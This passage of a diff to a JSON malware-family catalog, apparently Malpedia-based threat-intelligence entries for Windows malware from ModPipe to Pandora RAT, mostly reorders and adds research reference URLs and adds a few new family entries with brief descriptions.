status tables and information about POS transactions. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe", + "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/", "https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data", - "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/" + "https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data" ], "synonyms": [], "type": [] @@ -29723,6 +31221,19 @@ "uuid": "818a9036-a74f-4017-af07-cba9a471b316", "value": "Mofksys" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.moisha", + "https://id-ransomware.blogspot.com/2022/08/moisha-ransomware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "16c5d8f9-c2f1-4599-bc93-bc02497deff8", + "value": "Moisha Ransomware" + }, { "description": "", "meta": { @@ -29758,8 +31269,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole", - 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"https://threatpost.com/ta2541-apt-rats-aviation/178422/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", + "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://community.riskiq.com/article/24759ad2", + "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.youtube.com/watch?v=TeQdZxP0RYY", + "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://news.drweb.ru/show/?i=13281&c=23", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/", + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data", + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/" ], "synonyms": [ "NetWeird", @@ -30867,9 +32417,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron", + "https://www.ncsc.gov.uk/alerts/turla-group-malware", "https://www.secureworks.com/research/threat-profiles/iron-hunter", - "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims", - "https://www.ncsc.gov.uk/alerts/turla-group-malware" + "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims" ], "synonyms": [], "type": [] @@ -30882,19 +32432,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino", - "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22", - "https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/", - "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/", - "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet", "https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html", - 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"https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html" + "https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/" ], "synonyms": [], "type": [] @@ -30995,9 +32545,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct", + "https://www.secureworks.com/research/threat-profiles/bronze-express", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-express" + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/" ], "synonyms": [ "CT" @@ -31025,8 +32576,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger", - "http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/", - "https://twitter.com/PhysicalDrive0/status/842853292124360706" + "https://twitter.com/PhysicalDrive0/status/842853292124360706", + "http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/" ], "synonyms": [], "type": [] @@ -31039,8 +32590,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb", - 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"https://www.lawfareblog.com/what-point-these-nation-state-indictments" + "https://bitbucket.org/daniel_plohmann/idapatchwork", + "https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded", + "https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-aers-the-evolution-of-the-nymaim-criminal-enterprise.pdf", + "https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0", + "https://www.lawfareblog.com/what-point-these-nation-state-indictments", + "https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/", + "https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/" ], "synonyms": [ "nymain" @@ -31460,6 +33044,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/" ], "synonyms": [], @@ -31473,18 +33058,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oblique_rat", - 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"https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" + "https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html", + "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/" ], "synonyms": [], "type": [] @@ -31497,8 +33083,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene", - "https://habr.com/ru/post/27053/", - "https://sysopfb.github.io/malware/2020/02/28/Golang-Wrapper-on-an-old-malware.html" + "https://sysopfb.github.io/malware/2020/02/28/Golang-Wrapper-on-an-old-malware.html", + "https://habr.com/ru/post/27053/" ], "synonyms": [], "type": [] @@ -31524,8 +33110,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus", - "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "https://mp.weixin.qq.com/s/v1gi0bW79Ta644Dqer4qkw", + "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "https://isc.sans.edu/diary/26918" ], "synonyms": [], @@ -31582,10 +33168,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.okrum", - "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/", - "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/" + "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/", + "https://securelist.com/apt-trends-report-q3-2020/99204/" ], "synonyms": [], "type": [] @@ -31599,8 +33185,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait", "https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", - "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", - "https://www.secjuice.com/fancy-bear-review/" + "https://www.secjuice.com/fancy-bear-review/", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf" ], "synonyms": [ "Sasfis" @@ -31615,27 +33201,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer", - "https://www.youtube.com/watch?v=a4BZ3SZN-CI", - "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", - "https://www.lastline.com/labsblog/olympic-destroyer-south-korea/", - "https://www.youtube.com/watch?v=1jgdMY12mI8", - "https://securelist.com/the-devils-in-the-rich-header/84348/", - "https://www.youtube.com/watch?v=wCv9SiSA7Sw", + "https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/", "https://www.lastline.com/labsblog/attribution-from-russia-with-code/", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/", - "https://securelist.com/olympic-destroyer-is-still-alive/86169/", - "https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights", - "http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.wired.com/story/untold-story-2018-olympics-destroyer-cyberattack/", + "https://www.youtube.com/watch?v=wCv9SiSA7Sw", "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights", + "https://attack.mitre.org/groups/G0034", + "http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html", + "https://www.lastline.com/labsblog/olympic-destroyer-south-korea/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.youtube.com/watch?v=a4BZ3SZN-CI", + "https://securelist.com/the-devils-in-the-rich-header/84348/", + "https://securelist.com/olympic-destroyer-is-still-alive/86169/", + "https://www.wired.com/story/untold-story-2018-olympics-destroyer-cyberattack/", + "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", + "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://www.youtube.com/watch?v=rjA0Vf75cYk", + "https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/", "https://www.mbsd.jp/blog/20180215.html", - "https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/" + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www.youtube.com/watch?v=1jgdMY12mI8", + "https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/" ], "synonyms": [ "SOURGRAPE" @@ -31650,8 +33239,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat", - "https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview", - "https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators" + "https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators", + "https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview" ], "synonyms": [], "type": [] @@ -31677,11 +33266,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke", - "https://blog.f-secure.com/podcast-dukes-apt29/", "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", "https://www.secureworks.com/research/threat-profiles/iron-hemlock", - "https://www.f-secure.com/weblog/archives/00002764.html", - "http://contagiodump.blogspot.com/2014/11/onionduke-samples.html" + "http://contagiodump.blogspot.com/2014/11/onionduke-samples.html", + "https://blog.f-secure.com/podcast-dukes-apt29/", + "https://www.f-secure.com/weblog/archives/00002764.html" ], "synonyms": [], "type": [] @@ -31695,8 +33284,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner", "https://www.blueliv.com/blog/research/analysis-spam-distribution-botnet-onliner-spambot/", - "https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html", - "https://benkowlab.blogspot.com/2017/08/from-onliner-spambot-to-millions-of.html" + "https://benkowlab.blogspot.com/2017/08/from-onliner-spambot-to-millions-of.html", + "https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html" ], "synonyms": [ "Onliner", @@ -31712,10 +33301,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr", + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", + "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr" ], "synonyms": [], "type": [] @@ -31728,10 +33318,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki", - "https://forum.malekal.com/viewtopic.php?t=21806", - "https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519", "http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html", - "http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html" + "https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519", + "http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html", + "https://forum.malekal.com/viewtopic.php?t=21806" ], "synonyms": [], "type": [] @@ -31805,22 +33395,37 @@ "uuid": "08103f1c-f83d-4037-a1ae-109b06f79226", "value": "OrcaRAT" }, + { + "description": "A malware generating DGA domains seeded by the Bitcoin Genesis Block.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard", + "https://blog.netlab.360.com/orchard-dga/", + "https://bin.re/blog/a-dga-seeded-by-the-bitcoin-genesis-block/", + "https://blog.netlab.360.com/a-new-botnet-orchard-generates-dga-domains-with-bitcoin-transaction-information/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "094159e7-cc4f-4c47-b24e-b0a32ba23a58", + "value": "Orchard" + }, { "description": "Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", - "https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors", + "https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/", + "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", + "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/", "https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html", + "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors", "https://assets.virustotal.com/reports/2021trends.pdf", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/", - "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/", - "http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/" + "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/" ], "synonyms": [ "Schnorchel" @@ -31835,11 +33440,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt", - "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", "https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.gdata.de/blog/2017/11/30151-ordinypt", - "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/" + "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" ], "synonyms": [ "GermanWiper", @@ -31850,20 +33456,33 @@ "uuid": "7fd96553-4c78-43de-824f-82645ed4fac5", "value": "Ordinypt" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.originlogger", + "https://unit42.paloaltonetworks.com/originlogger/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c1680c8e-c2e2-4975-82ad-8829b3918d70", + "value": "OriginLogger" + }, { "description": "Oski is a stealer written in C++ that appeared around November 2019 and is being sold for between 70$ to 100$ on Russian-speaking forums. It collects different types of data (cryptocurrency wallets, saved passwords, files matching an attacker-defined pattern etc) and it exfiltrates it in a zip file uploaded to the attacker's panel.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski", - "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/", "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", - "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", + "https://3xp0rt.com/posts/mars-stealer", + "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", "https://cyberint.com/blog/research/mars-stealer/", "https://twitter.com/albertzsigovits/status/1160874557454131200", - "https://3xp0rt.com/posts/mars-stealer", - "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view" + "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view", + "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/" ], "synonyms": [], "type": [] @@ -31892,6 +33511,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ousaban", + "https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services", "https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/", "https://www.atomicmatryoshka.com/post/ousaban-msi-installer-analysis" ], @@ -31919,9 +33539,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf", - "https://twitter.com/VK_Intel/status/1085820673811992576", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://twitter.com/VK_Intel/status/1085820673811992576" ], "synonyms": [ "FACADE" @@ -31931,13 +33551,26 @@ "uuid": "10a521e4-b3b9-4feb-afce-081531063e7b", "value": "Outlook Backdoor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.outsteel", + "https://www.telsy.com/download/6372/?uid=d3eb8e1489" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d2aab7c9-b83a-4889-9fae-c495ec4d324d", + "value": "OutSteel" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat", - "https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/", - "https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking" + "https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking", + "https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/" ], "synonyms": [], "type": [] @@ -31963,8 +33596,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth", - "https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/", - "https://www.secureworks.com/research/threat-profiles/bronze-union" + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/" ], "synonyms": [ "luckyowa" @@ -31979,9 +33612,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy", - "https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/", "https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", + "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", + "https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/" ], "synonyms": [], "type": [] @@ -32020,7 +33654,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ozone", - "https://www.fortinet.com/blog/threat-research/german-speakers-targeted-by-spam-leading-to-ozone-rat.html" + "https://www.fortinet.com/blog/threat-research/german-speakers-targeted-by-spam-leading-to-ozone-rat.html", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel" ], "synonyms": [], "type": [] @@ -32047,8 +33682,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin", - "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", + "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf" ], "synonyms": [], "type": [] @@ -32062,23 +33697,23 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker", "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker", - "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/", - "https://www.youtube.com/watch?v=J7VOfAJvxEY", - "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", - "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", - "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media", - "https://www.spamhaus.org/news/article/771/", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", - "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html", + "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", + "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", + "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/", + "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html", + "https://www.spamhaus.org/news/article/771/", + "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/", + "https://www.youtube.com/watch?v=J7VOfAJvxEY", + "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media", + "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html", - "https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/" + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html" ], "synonyms": [ "ZeusPanda" @@ -32107,15 +33742,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora", - "https://dissectingmalwa.re/blog/pandora/", "https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/", "https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://dissectingmalwa.re/blog/pandora/" ], "synonyms": [], "type": [] @@ -32123,17 +33758,47 @@ "uuid": "e43b67bc-3c16-4a69-b63d-f6bf3d732e1b", "value": "Pandora" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat", + "https://github.com/AZMagic/Pandora-Hvnc-Hidden-Browser-Real-Vnc-Working-Chromium-Edge-Opera-Gx", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware" + ], + 